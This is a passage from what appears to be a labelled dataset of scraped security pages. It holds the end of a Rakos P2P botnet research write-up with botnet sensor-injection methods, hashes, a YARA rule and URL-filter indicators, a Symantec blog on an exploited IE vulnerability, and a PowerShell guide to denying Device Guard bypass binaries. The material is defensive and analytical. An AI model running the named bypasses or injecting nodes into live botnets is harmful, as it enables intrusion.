answered with an SSL error message, as seen in Figure 1. At this moment, we realized that the bots authenticate via the\xc2 SSL certificate found in\xc2 the C&C command responses. Using it, we issued another \xe2\x80\x9c/ping\xe2\x80\x9d to the same Skaro that, this time, answered with the expected results, including a list of up to 30 Skaros and 50 Checkers. This botnet protection/authentication mechanism indicated to us the importance of this node to the botnet and made us choose it to be our seed node. We decided to call them\xc2 \xe2\x80\x9cSuper Skaros\xe2\x80\x9d. Finally, we wrote a script to automate the crawling process. The script, written in Python, iteratively requests the seed node for the Skaros it knows. Then is asks these Skaros for the Skaros they know and so on until there is no new Skaro to request. The script also creates a graph of the botnet while discovering it to make it easy to further analyze the nodes and its interconnections. 3.1. Sensor Injection The second strategy is to inject fake nodes into the botnet as sensor nodes [5]. The objective is to offer the network fake nodes to be contacted by the others while enumerating them. Given the restricted number of Skaros and Checkers returned by each query, the crawling approach may give us just a limited view of the whole botnet. Even when we tried to repeat the query for the same Skaro, the returned list usually included just a small number of new nodes. To overcome this problem and to improve que quality of our enumeration process, we decided to apply the Sensor Injection method, which, for this research, consists in inserting fake nodes (Skaros and Checkers) into the botnet and collecting information about the nodes that contact them. To insert the Checker Sensor, we basically ran the malware binary on a controlled environment preventing it from establishing any SSH outgoing connections and monitored the network traffic to enumerate all bots that contacted it. As the communication between Checkers isn\xe2\x80\x99t encrypted, this strategy could give us the possibility to inspect any content posted to or from our sensor. To insert the Skaro Sensor, we prepared a \xe2\x80\x9c/ping\xe2\x80\x9d command with manipulated \xe2\x80\x9cavailable\xe2\x80\x9d, \xe2\x80\x9crunning\xe2\x80\x9d and \xe2\x80\x9caddr\xe2\x80\x9d parameters pointing to the IP address to one of our honeypots and sent it to a valid Skaro. Next, we issued a new \xe2\x80\x9c/ping\xe2\x80\x9d command to the same Skaro and confirmed that our Sensor Node appeared in the returned Skaro list, as seen in Figure 2 To receive and handle those HTTPS connections, we deployed a Nginx server and configured it with the botnet default SSL certificates. With this setup up and running, we started receiving POST and GET requests coming from Checkers, as seen in Figure 3. To capture and store the data posted to the Skaro Sensor, we created a simple PHP script to append to a file the received HTTP POST parameters. In Figure 4 there is an example of a Checker posted data using the \xe2\x80\x9c/ping\xe2\x80\x9d C&C command, as always, full of information about the victim, include credentials in clear text. Finally, to maintain our Skaro Sensor alive on the botnet, we could continually send the manipulated \xe2\x80\x9c/ping\xe2\x80\x9d command to the Skaros on the network. To implement this, we just configured the \xe2\x80\x9c/ping\xe2\x80\x9d request of the Crawling method with the appropriate values. As the Crawling would periodically visit all active Skaros, our Sensor Node would always be propagated. 3.3. Experiment environment setup After defining the methodology and tuning the scripts, it was time to create the environment to execute the experiments, detailed in this section. As we were dealing with a P2P botnet, distributing the Sensor Nodes in different parts of the world could give us a better view of the botnet, especially if it imposed any kind of communication restriction or load balancing based on geographic regions or IP addresses. Thus, we distributed 5 Sensor Nodes in the following locations: North America: Oregon South America: S\xc3\xa3o Paulo Europe: Ireland Southeast Asia: Singapore Oceania: Australia In each location, we installed a honeypot with the configurations and scripts necessary to run the Crawling and Sensor Injection experiments, which include: Network packet capture: to capture all inbound and outbound connections; A Nginx HTTPS server: to be our Skaro Sensor; The Crawling Script: to run the crawling process while enumerating all Skaros and Checkers and to create graphs; A Rakos binary: to be our Checker Sensor; Outbound filter: all the outgoing connections on TCP port 22 (SSH) were blocked to avoid our honeypot from scanning the Internet for victims. 3.4. Running the experiments Finally, we put our plan into action. The experiments were started simultaneously in all honeypots. Shortly after, the Crawling Process was already querying 30 to 60 Skaros and the Sensor Nodes were receiving connections from the botnet. All as expected. After 72 hours (or 3 days), we stopped the experiment and started processing all the collected data. The results are shown in the next section. 4. Results The experiments generated approximately 5 GB of data amongst PCAP files, HTTP requests, crawled data and graph files that were handled and inserted into an Elastic Stack [6] and Gephi [7] platforms for querying and visualization purposes. The results of both enumeration methods are summarized in Table 3. \xc2 Table 3: Results Summary NODE TYPE / METHOD CRAWLING SENSOR INJECTION UNIQUE NODES CHECKERS 498 24782 24967 SKAROS 281 239 299 >UNIQUE NODES 779 24839 25084 As we expected, the crawling strategy gave us just a small view of the whole picture. In fact, it accounted for just 3,15% of the total number of discovered nodes. The other part, 96,84% or 24,839 nodes, was found by the Sensor Nodes. Each sensor discovered an average of 5,000 unique Checkers and 48 unique Skaros during the whole experiment. Comparing to the Crawling method, it\xe2\x80\x99s interesting that\xc2 although Sensor Injection could discover 50 times more Checkers, it discovered 15% less Skaros. It is also worth mentioning that the efficacy of Sensor Nodes depends on the continuous \xe2\x80\x9c/ping\xe2\x80\x9d to maintain the Sensor Nodes \xe2\x80\x9calive\xe2\x80\x9d. To make it easy to represent the botnet and its interconnections, we produced graphs for each crawler. \xc2 One of those graphs, as seen in Figure 5, shows in green the discovery path from the seed node to the Checkers, in lilac, passing through Skaros, in orange. In summary, each node is connected just to the node from which it was discovered by during the crawling process. The other graph shows the real interconnection between nodes, as seen in Figure 6. Here we can see a very thick botnet where\xc2 virtually\xc2 all Checkers know all Skaros. Now, plotting the discovery path graph on the world map, as seen in Figure 7, we may have an idea of the botnet worldwide. To geolocalize the nodes, we used MaxMind database [8]. Figure 8 represents all the connections received by \xe2\x80\x9cS\xc3\xa3o Paulo\xe2\x80\x9d sensor. The big yellow node represents the sensor node. In lilac are the Checkers and\xc2 in orange, the Skaros. The graph for the other sensor nodes look very much like these differing basically by the geographic position of the sensor node. The worldwide botnet distribution is shown in Figure 9. It\xe2\x80\x99s clearly perceived a high node concentration in Europe, highlighting France, Italy and Spain. The Top 10 countries are shown in Figure 10. Another interesting finding of this research is related to the victims\xe2\x80\x99 devices as seen in Figure 11. At least 45% of them are Raspberry PI followed by OpenELEC with 21.79% \xe2\x80\x93 which are usually deployed on Raspberries. Next, with 16,74%, comes UBNT, wireless access points devices from Ubiquiti. This botnet relies basically on default or easy guessable passwords that devices owners fail to manage. None the less, Open ELEC systems do not even offer an easy way for users to change the default password, as shown in Figure 12 The text was extracted from Open ELEC\xe2\x80\x99s website [9]. 5. Indicators of Compromise In this section are the IoCs (Indicators of Compromise) that could be used to search for this malware in your environment. 5.1. Binary hashes Table 4: Rakos binary hashes OS ARCH MD5 SHA256 Linux i386 4d08072825eb9e32b9736988c57050eb 7328e81a67419bba42d204a82db311db1a033c1c37d454f7adc3e1ebd635e976 Linux ARM abf87f358d265a072d3ee4a4e1ddc16f 519c236f9974279e1db3c973b2d3c4e561307cfb52dcca4b77d19004b506157d Linux MIPS f6eed5ce7e92f4d34de98d6d262a869b f5dc3cb4d884012b8f255a4946c2914d9ecaa3382f556125124480c3c47be07e Linux x86-64 b5cc4d3e6188cbb6a6f725b53fbf3c6b 3e538db81365c3a64af78f53cb64fd58c7843ffa690ec0996b7556fc43a876df FreeBSD x86-64 8e9f0211e0e6448e587aaa979f311ac1 9d476b8b4326be1207e3064f0aa0e01646277722c50c8e9a61c8c87f53416075 5.2. Yara Rules strings: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 $ = \xe2\x80\x9cupgrade/vars.yaml\xe2\x80\x9d \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 $ = \xe2\x80\x9cupgrade/up\xe2\x80\x9d \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 $ = \xe2\x80\x9c/tmp/init\xe2\x80\x9d \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 $ = \xe2\x80\x9cdalek\xe2\x80\x9d \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 $ = \xe2\x80\x9cskaro\xe2\x80\x9d condition: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 4 of them 5.3. URL Filtering GET /love User-Agent: Go-http-client/1.1 6. Final Words This research revealed a network of controlled devices we defined as a \xe2\x80\x9cTransient Botnet\xe2\x80\x9d. The term transient refers to the non-persistence aspect of Rakos malware which means that a single bot remains on the network after a reboot only if it gets compromised again, just like Mirai. In other words, we are dealing with a threat that, like many others, counts on the certainty of the abundance of victims and that most them will remain vulnerable \xe2\x80\x93 even though this vulnerability could be avoided by a password change. This transient aspect was reflected in the results we found. During the experiments, the number of nodes floated during the period with peaks of 1,700 new IP addresses which could be existing victims we didn\xe2\x80\x99t know yet or simply new infected or re-infected nodes. Considering this fluctuation, from the 25084 unique nodes discovered in 72 hours, we may consider an average of 8362 bots per 24 hours which certainly represents risks if they were used together in DDoS attacks, for example. This individual problem that potentially leads to a global threat reminds us the difficult adoption of BCP 38 (Best Current Practices) [10] that specifies how Internet Services Provides (ISPs) could individually cooperate by configuring its routers to defeat DDoS amplification attacks over the Internet. The difference is that in password vulnerability problems we don\xe2\x80\x99t have a guideline or an imposed rule; it involves much more devices and, especially, people. Finally, it\xe2\x80\x99s worth mentioning that during the 30 days we analyzed this botnet, we didn\xe2\x80\x99t notice any malicious actions other them the SSH brute-force scanner itself. It seems that someone is preparing it to be sold or to offer \xe2\x80\x9cservices\xe2\x80\x9d using it when it gets in the right size. Thinking this way, the innocuous-looking may be a strategy to fly under the radar. 7. References [1] http://www.welivesecurity.com/2016/12/20/new-linuxrakos-threat-devices-servers-ssh-scan/ [2] https://www.incapsula.com/blog/new-mirai-variant-ddos-us-college.html [3] Rossow, Christian, et al. \xe2\x80\x9cSok: P2pwned-modeling and evaluating the resilience of peer-to-peer botnets.\xe2\x80\x9d\xc2 Security and Privacy (SP), 2013 IEEE Symposium on. IEEE, 2013. [4] J. Kang and J.-Y. Zhang. Application Entropy Theory to Detect New Peer-to-Peer Botnets with Multi-chart CUSUM. In Proceedings of the 2nd International Symposium on Electronic [5] Karuppayah, Shankar, et al. \xe2\x80\x9cOn advanced monitoring in resilient and unstructured P2P botnets.\xe2\x80\x9d\xc2 Communications (ICC), 2014 IEEE International Conference on. IEEE, 2014. Recent Posts FBI arrests WannaCry hero Marcus Hutchins in Las Vegas URSNIF VARIANT FOUND USING MOUSE MOVEMENT FOR DECRYPTION AND EVASION Alert: Microsoft Tech-Support Scammers using WannaCry attack to lure victims Webinar \xe2\x80\x93 Defending against the next attack Emotet v4 Analysis Recent Comments google on Emotet v4 Analysis Archives August 2017 July 2017 May 2017 Categories Featured news Latest news Malware Malware analysis OilRig People Phishing ReverseEngineering Trojan Vulnerability Zero-Day Meta Log in Entries RSS Comments RSS WordPress.org ADVERTISMENT Categories Featured news Latest news Malware Malware analysis OilRig People Phishing ReverseEngineering Trojan Vulnerability Zero-Day Tags 0-day Action-Fraud alert analysis Banking trojan ConfuserEx Dyreza Emotet EOP FBI fileless attacks FireEye FLTLDR.EXE Hacker arrested Intel Kazuar Malware Morphisec Nemucod News oilrig P2P phishing phone scam Qakbot QBot ransomware trickbot trojan Turla Uroburos Ursnif vulnerability wannacry webinar zero-day ADVERTISMENT \xc2\xa9 2017 Developed by Daniel M. All Rights Reserved September 2019 M T W T F S S \xc2\xab Aug \xc2 \xc2 \xc2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 \xc2 Newsletter Signup By subscribing to our mailing list you will always be update with the latest news from us.","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0" -"Symantec Connect Blogs Security Response Security Response +1 1 Votes Symantec Official Blog CVE-2012-1875 Exploited in the Wild - Part 1 (Trojan.Naid) By: Symantec Security Response SYMANTEC EMPLOYEE Created 18 Jun 2012 0 Comments : \xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e Microsoft, in their recent Security Bulletin Summary for June 2012, released security bulletin MS12-037, which is a critical security update covering a host of Internet Explorer (IE) versions ranging from IE6 to IE9. This update addresses a specific vulnerability whereby viewers of a specially-crafted Web page using IE could unintentionally trigger an exploit allowing arbitrary code execution in the context of the current user. Symantec recently discovered that the Amnesty International Hong Kong website had been compromised with an injected iframe linking to a Russian domain hosting a JavaScript file which actively exploited the Microsoft Internet Explorer CVE-2012-1875 Same ID Property Remote Code Execution Vulnerability (CVE-2012-1875). Last month Amnesty international suffered a similar attack on their UK website. Symantec has a detection in place for this exploit under the name of Bloodhound.Exploit.466 and IPS Signature Web Attack: MSIE Same ID Property CVE-2012-1875. Analysis of the Amnesty International website (which has now been rectified) showed the following script injecting an iframe: This iframe links to another piece of JavaScript hosted on the Russian domain. The iframe, meanwhile, displays a generic error page suggesting that the requested page is ""Under Construction"". However, after the page is loaded, a function labeled MyTest() is executed and attempts to exploit a vulnerability in the way IE handles cached objects in memory that have the same property ID. The exploit itself supports a variety of Windows versions and languages including Windows XP, Windows Vista, and Windows 7. English, Russian, Korean, and French are just a few of the supported languages observed in this exploit so far. The shellcode executed by this exploit is a small Downloader that connects to a remote host and downloads an executable, which Symantec detects as Trojan.Naid, a Remote Access Trojan (RAT) first seen by Symantec as early as January 2010. Trojan.Naid is a Trojan horse program that listens for and accepts a connection from the attacker to essentially provide unauthorized remote control functionality to the compromised computer over a custom communications protocol. This access allows the attacker to perform numerous nefarious activities such as stealing private information or monitoring Internet activities. The Trojan.Naid sample used in this attack and others has been observed to communicate to IP addresses hosted in Hong Kong by local Internet Service Providers. While the exploit used in this attack has been referred to as being a zero-day due to reports of it being seen in the wild before the recent Security Bulletin Summary, zero-days are not commonly observed in attacks. Most attacks use known, patched exploits readily available to attackers online. Other zero-days have, however, been reported in recent days, such as Microsoft\xe2\x80\x99s announcement of the Microsoft XML Core Services CVE-2012-1889 Remote Code Execution Vulnerability (CVE-2012-1889) (Symantec detection Bloodhound.Exploit.465 and IPS Web Attack MSIE MSXML CVE-2012-1889), this begs the question: will we see more zero-days being used in similar attacks? In part 2 of this blog, we will examine the techniques used in exploiting this vulnerability. To reduce the possibility of being affected by exploits and their associated malware, Symantec advises users to ensure that they are using the latest Symantec protection technologies with the latest antivirus definitions installed. Tags: Products, Endpoint Protection, Security Response, antivirus, Downloader, Exploits, Malware, RAT, Trojan.Naid, Vulnerabilities, Zero-Days Subscriptions (0) Symantec Security Response View Profile Login or Register to post comments. About Your Community A Message From Your Community Manager: RGMDonaldson Welcome to the Security Community on Symantec Connect. The Security Community covers many different security products from Symantec and provides valuable technical information for each. Please feel free to contact me via private message with any questions you may have. I look forward to hearing from you and answering any questions about the Community. Send a private message to the Community Manager Top 5 Contributors: All Time MEMBERREWARD POINTS \xe2\x84\xacr\xce\xaf\xce\xb1\xce\xb7148952 Vikram Kumar-SAV to SEP77376 Mithun Sanghavi77368 Rafeeq69214 P_K_53536 Top 5 Contributors: Last 30 Days MEMBERREWARD POINTS dprager1800 Aboonaim Golandaz1150 Aravind Ghosh375 Mithun Sanghavi350 AlexHedley315 Contact UsPrivacy PolicyEarn RewardsRewards Terms and Conditions \xc2\xa9 2019 Symantec Corporation","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0" -"Exploit Monday: Using Device Guard to Mitigate Against Device Guard Bypasses Exploit Monday Security Research and Esoteric PowerShell Knowledge Thursday, September 8, 2016 Using Device Guard to Mitigate Against Device Guard Bypasses In my last post, I presented an introduction to Device Guard and described how to go about developing a fairly locked down code integrity policy - a policy that consisted entirely of implicit allow rules. In this post, I\xe2\x80\x99m going to describe how to deny execution of code that would otherwise be whitelisted according to policy. Why would you want to do this? Well, as I blogged about previously, one of the easiest methods of circumventing user-mode code integrity (UMCI) is to take advantage of signed applications that can be used to execute arbitrary, unsigned code. In the blog post, I achieved this using one of Microsoft\xe2\x80\x99s debuggers, cdb.exe. Unfortunately, cdb.exe isn\xe2\x80\x99t the only signed Microsoft binary that can circumvent a locked down code integrity policy.\xc2 In the coming months, Casey Smith (@subtee) and I will gradually\xc2 unveil additional signed binaries that circumvent UMCI. In the spirit of transparency, Casey and I will release bypasses as we find them but we will only publicize bypasses for which we can produce an effective mitigation. Any other bypass would be reported to Microsoft through the process of coordinated disclosure. While the existence of bypasses may cause some to question the effectiveness of Device Guard, consider that the technique I will describe will block all previous, current, and future versions of binaries that circumvent UMCI. The only requirement being that the binaries be signed with a code signing certificate that is in the same chain as the PCA certificate used when we created a deny rule - a realistic scenario. What I\xe2\x80\x99m describing is the FilePublisher file rule level. In the example that follows, I will create a new code integrity policy with explicit deny rules for all signed versions of the binaries I\xe2\x80\x99m targeting up to the highest supported version number (65535.65535.65535.65535) \xe2\x80\x93 cdb.exe, windbg.exe, and kd.exe \xe2\x80\x93 three user-mode and kernel-mode debuggers signed by Microsoft. You can then merge the denial CI policy with that of your reference policy. I confirmed with the Device Guard team at Microsoft that what I\xe2\x80\x99m about to describe is most likely the ideal method (at time of writing) of blocking the execution of individual binaries that bypass your code integrity policy. # The directory that contains the binaries that circumvent our Device Guard policy $Scanpath = 'C:\\Program Files\\Windows Kits\\10\\Debuggers\\x64' # The binaries that circumvent our Device Guard policy $DeviceGuardBypassApps = 'cdb.exe', 'windbg.exe', 'kd.exe' $DenialPolicyFilePath = 'BypassMitigationPolicy.xml' # Get file and signature information for every file in the scan directory $Files = Get-SystemDriver -ScanPath $Scanpath -UserPEs -NoShadowCopy # We'll use this to filter out the binaries we want to block $TargetFilePaths = $DeviceGuardBypassApps | ForEach-Object { Join-Path $Scanpath $_ } # Filter out the user-mode binaries we want to block # This would just as easily apply to drivers. Just change UserMode to $False # If you\xe2\x80\x99re wanting this to apply to drivers though, you might consider using # the WHQLFilePublisher rule. $FilesToBlock = $Files | Where-Object { \xc2 \xc2 \xc2 $TargetFilePaths -contains $_.FriendlyName -and $_.UserMode -eq $True } # Generate a dedicated device guard bypass policy that contains explicit deny rules for the binaries we want to block. New-CIPolicy -FilePath $DenialPolicyFilePath -DriverFiles $FilesToBlock -Level FilePublisher -Deny -UserPEs # Set the MinimumFileVersion to 65535.65535.65535 - an arbitrarily high number. # Setting this value to an arbitraily high version number will ensure that any signed bypass binary prior to version 65535.65535.65535.65535 # will be blocked. This logic allows us to theoretically block all previous, current, and future versions of binaries assuming # they were signed with a certificate signed by the specified PCA certificate $DenyPolicyRules = Get-CIPolicy -FilePath $DenialPolicyFilePath $DenyPolicyRules | Where-Object { $_.TypeId -eq 'FileAttrib' } | ForEach-Object { \xc2 \xc2 \xc2 # For some reason, the docs for Edit-CIPolicyRule say not to use it... \xc2 \xc2 \xc2 Edit-CIPolicyRule -FilePath $DenialPolicyFilePath -Id $_.Id -Version '65535.65535.65535.65535' } # The remaining portion is optional. They are here to demonstrate # policy merging with a reference policy and deployment. <# $ReferencePolicyFilePath = 'FinalPolicy.xml' $MergedPolicyFilePath = 'Merged.xml' $DeployedPolicyPath = 'C:\\DGPolicyFiles\\SIPolicy.bin' #> # Extract just the file rules from the denial policy. We do this because I don't want to merge # and possibly overwrite any policy rules from the reference policy. <# $Rules = Get-CIPolicy -FilePath $DenialPolicyFilePath Merge-CIPolicy -OutputFilePath $MergedPolicyFilePath -PolicyPaths $ReferencePolicyFilePath -Rules $Rules #> # Deploy the new policy and reboot. <# ConvertFrom-CIPolicy -XmlFilePath $MergedPolicyFilePath -BinaryFilePath $DeployedPolicyPath #> So in the code above, to generate the policy, we specified the location where the offending binaries were installed. In reality, they can be in any directory and you can generate this deny policy on any machine. In other words, you\xe2\x80\x99re not required to generate it on the machine that will have the code integrity policy deployed. That directory is then scanned. You need to filter out the specific binaries that you want to deny and merge the deny policy with a reference policy and redeploy. Once you\xe2\x80\x99ve redeployed the policy, you will want to validate its efficacy. To validate it, I would ensure the following: Both the x86 and x64 version of the binary are blocked. At least two versions of each binary (for each architecture) are blocked. So, for example, to validate that the signed cdb.exe can no longer execute, be sure to obtain two versions of cdb.exe and have a 32-bit and 64-bit build of each version. It is unfortunately kind of a hack to have to manually modify the policy XML to specify an arbitrarily large version number. Ideally, in a future version of Device Guard, Microsoft would allow you to specify a wildcard that would imply that the deny rule would apply to all versions of the binary. In the meantime, this hack seems to get the job done. What\xe2\x80\x99s great about this simple workflow is that as new bypasses come out, you can just keep adding deny rules to an all-encompassing Device Guard bypass code integrity policy! In fact, I plan on maintaining such a bypass-specific CI policy on GitHub in the near future. Now, I\xe2\x80\x99ve done a decent amount of testing of this mitigation, which I consider to be effective and not difficult to implement. I encourage everyone out there to poke holes in my theory, though. And if you discover a bypass for my mitigation, please be a good citizen and let the world know! I hope these posts are continuing to pique your interest in this important technology! For reference, here is the policy that was generated based on the code above. Note that while there are explicit file paths in the generated policy, the deny rules apply regardless of where the binaries are located on disk. \xc2 10.0.0.0 \xc2 {A244370E-44C9-4C06-B551-F6016E563076} \xc2 {2E07F7E4-194C-4D20-B7C9-6F44A6C5A234} \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 0 Labels: Device Guard, powershell 2 comments: charlie puthNovember 7, 2016 at 7:50 AM thanks for post ReplyDelete Replies Reply AnonymousNovember 9, 2016 at 5:51 PM Thank you. Very helpful ! ReplyDelete Replies Reply Add comment Load more... Newer Post Older Post Home Subscribe to: Post Comments (Atom) Twitter @mattifestation Code PowerSploit on GitHub Window Shellcode in C Memory-Tools.ps1 Replace-x64-Process.ps1 Journey Back In Time \xe2\x96\xba\xc2 2018 (1) \xe2\x96\xba\xc2 06/03 - 06/10 (1) \xe2\x96\xba\xc2 2017 (4) \xe2\x96\xba\xc2 08/27 - 09/03 (2) \xe2\x96\xba\xc2 07/09 - 07/16 (1) \xe2\x96\xba\xc2 01/01 - 01/08 (1) \xe2\x96\xbc\xc2 2016 (10) \xe2\x96\xba\xc2 12/25 - 01/01 (1) \xe2\x96\xba\xc2 11/27 - 12/04 (1) \xe2\x96\xba\xc2 11/20 - 11/27 (2) \xe2\x96\xba\xc2 10/23 - 10/30 (1) \xe2\x96\xbc\xc2 09/04 - 09/11 (2) Using Device Guard to Mitigate Against Device Guar... Introduction to Windows Device Guard: Introduction... \xe2\x96\xba\xc2 08/14 - 08/21 (1) \xe2\x96\xba\xc2 08/07 - 08/14 (1) \xe2\x96\xba\xc2 07/24 - 07/31 (1) \xe2\x96\xba\xc2 2015 (6) \xe2\x96\xba\xc2 12/27 - 01/03 (1) \xe2\x96\xba\xc2 12/20 - 12/27 (1) \xe2\x96\xba\xc2 12/13 - 12/20 (1) \xe2\x96\xba\xc2 11/29 - 12/06 (2) \xe2\x96\xba\xc2 11/08 - 11/15 (1) \xe2\x96\xba\xc2 2014 (4) \xe2\x96\xba\xc2 12/28 - 01/04 (1) \xe2\x96\xba\xc2 07/13 - 07/20 (1) \xe2\x96\xba\xc2 04/27 - 05/04 (1) \xe2\x96\xba\xc2 03/30 - 04/06 (1) \xe2\x96\xba\xc2 2013 (11) \xe2\x96\xba\xc2 11/10 - 11/17 (1) \xe2\x96\xba\xc2 09/29 - 10/06 (1) \xe2\x96\xba\xc2 08/11 - 08/18 (1) \xe2\x96\xba\xc2 07/28 - 08/04 (1) \xe2\x96\xba\xc2 06/16 - 06/23 (1) \xe2\x96\xba\xc2 06/02 - 06/09 (1) \xe2\x96\xba\xc2 03/31 - 04/07 (2) \xe2\x96\xba\xc2 03/24 - 03/31 (1) \xe2\x96\xba\xc2 02/17 - 02/24 (1) \xe2\x96\xba\xc2 01/06 - 01/13 (1) \xe2\x96\xba\xc2 2012 (19) \xe2\x96\xba\xc2 12/23 - 12/30 (2) \xe2\x96\xba\xc2 11/25 - 12/02 (1) \xe2\x96\xba\xc2 11/11 - 11/18 (1) \xe2\x96\xba\xc2 08/26 - 09/02 (1) \xe2\x96\xba\xc2 08/19 - 08/26 (1) \xe2\x96\xba\xc2 08/12 - 08/19 (1) \xe2\x96\xba\xc2 08/05 - 08/12 (1) \xe2\x96\xba\xc2 07/22 - 07/29 (2) \xe2\x96\xba\xc2 07/15 - 07/22 (1) \xe2\x96\xba\xc2 06/24 - 07/01 (1) \xe2\x96\xba\xc2 06/03 - 06/10 (1) \xe2\x96\xba\xc2 05/20 - 05/27 (1) \xe2\x96\xba\xc2 05/13 - 05/20 (2) \xe2\x96\xba\xc2 04/22 - 04/29 (2) \xe2\x96\xba\xc2 03/11 - 03/18 (1) \xe2\x96\xba\xc2 2011 (11) \xe2\x96\xba\xc2 11/20 - 11/27 (1) \xe2\x96\xba\xc2 11/13 - 11/20 (1) \xe2\x96\xba\xc2 10/16 - 10/23 (1) \xe2\x96\xba\xc2 09/18 - 09/25 (1) \xe2\x96\xba\xc2 09/11 - 09/18 (1) \xe2\x96\xba\xc2 08/28 - 09/04 (1) \xe2\x96\xba\xc2 07/24 - 07/31 (1) \xe2\x96\xba\xc2 07/17 - 07/24 (1) \xe2\x96\xba\xc2 07/03 - 07/10 (1) \xe2\x96\xba\xc2 06/19 - 06/26 (2) This work by Matthew Graeber is licensed under a Creative Commons Attribution 3.0 Unported License. Picture Window theme. Powered by Blogger.","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0" -"GitHub - mattifestation/DeviceGuardBypassMitigationRules: A reference Device Guard code integrity policy consisting of FilePublisher deny rules for published Device Guard configuration bypasses Skip to content Why GitHub? Features \xe2\x86\x92 Code review Project management Integrations Actions Package registry Team management Social coding Documentation Code hosting Customer stories \xe2\x86\x92 Security \xe2\x86\x92 Enterprise Explore Explore GitHub \xe2\x86\x92 Learn & contribute Topics Collections Trending Learning Lab Open source guides Connect with others Events Community forum GitHub Education Marketplace Pricing Plans \xe2\x86\x92 Compare plans Contact Sales Nonprofit \xe2\x86\x92 Education \xe2\x86\x92 In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 No suggested jump to results In this repository All GitHub 